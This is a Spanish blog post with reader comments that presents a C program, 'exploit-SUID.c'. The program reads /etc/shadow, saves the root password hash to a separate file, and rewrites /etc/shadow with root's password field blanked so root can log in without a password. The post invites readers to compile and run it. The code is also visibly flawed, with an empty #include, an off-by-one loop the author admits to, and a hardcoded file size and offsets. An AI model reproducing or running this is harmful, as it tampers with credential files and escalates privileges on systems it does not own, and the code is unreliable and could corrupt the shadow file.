El siguiente programa lee el fichero /etc/shadow y lo reemplaza pero dejando el campo del
password del root en blanco y también crea el fichero oldPass donde almacena el hashing de
la contraseña del root. Esto hace que el usuario root no necesite contraseña para acceder al
sistema.
/* exploit-SUID.c */
#include
/* SE ASUME QUE EL FICHERO /etc/shadow TIENE LOS
PERMISOS 640, EN CASO CONTRARIO HABRA QUE
MODIFICARLO PARA QUE CAMBIE LOS PERMISOS DE
DICHO FICHERO Y UNA VEZ SOBREESCRITO
RESTAURARLOS */
/* TAMAÑO DEL FICHERO A LEER, LO PODEMOS
CONOCER HACIENDO ls -l /etc/shadow */
#define SIZE 678
/* EL CAMPO DEL PASSWORD SON 34 CARACTERES
CON shadow ACTIVADO */
#define LONGPASS 34
int main (void) { /* INICIO FUCION main */
char chrTarget[] = "/etc/shadow",
chrRootPassFile[] = "oldPass",
chrFileOriginal[SIZE],
chrFileNew[SIZE-LONGPASS],
chrRootPass[LONGPASS];
int i,
j = 0,
k = 0,
intCharLeidos;
FILE *ptFile;
/* ABRIMOS EL FICHERO PARA SOLO LECTURA */
ptFile = fopen(chrTarget, "r");
/* LEEMOS EL FICHERO */
intCharLeidos = fread(chrFileOriginal, sizeof(char), SIZE, ptFile);
/* CERRAMOS EL FICHERO */
fclose(ptFile);
/* CREAMOS EL NUEVO FICHERO DE PASSWORDS */
for(i=0; i <= intCharLeidos; i++){/*debeis quitar el signo =
porque sino no funciona*//* INICIO PRIMER for */
/* PASSWORD DEL ROOT EN EL FICHERO /etc/shadow */
if ( i >= 5 && i <= 38 ) { /* INICIO if */
chrRootPass[j++] = chrFileOriginal[i];
continue;
} /* FINAL if */
/* FICHERO /etc/shadow SIN PASSWORD PARA EL root */
chrFileNew[k++] = chrFileOriginal[i];
} /* FINAL PRIMER for*/
/* ESCRIBIMOS EL PASSWORD DEL root EN UN FICHERO APARTE */
ptFile = fopen(chrRootPassFile,"w");
fwrite(chrRootPass, sizeof(char), LONGPASS, ptFile);
/* CERRAMOS EL FICHERO */
fclose(ptFile);
/* SOBREESCRIMOS EL FICHERO /etc/shadow */
ptFile = fopen(chrTarget, "w");
fwrite(chrFileNew, sizeof(char), SIZE-LONGPASS, ptFile);
/* CERRAMOS EL FICHERO */
fclose(ptFile);
return 0;
} /* FINAL FUNCION main */
Sólo queda compilarlo y ejecutarlo en un terminal. Espero que os guste mi primera entrada. Seguire buscando cositas interesantes.
P.D.: Sí tienen alguna duda o queja comentenla.
e tenido algun problemilla con el signo mayorque (supongo que será por el tema de html)
ResponderEliminarbueno espero que os guste ;)
Curioso
ResponderEliminarMe alegra ver a otro informatico por aqui ^^
iyo q te has pegao el abuso de escribir xD, gran aporte tio pero ap la proximo quiero ver humor en??!!
ResponderEliminarjejeje si esta vez a tocao algo interesante pero la proxima aber si pongo algo de humo.(aunque como sea igual que el chiste.....):P
ResponderEliminary por qué no un script en bash? :)
ResponderEliminar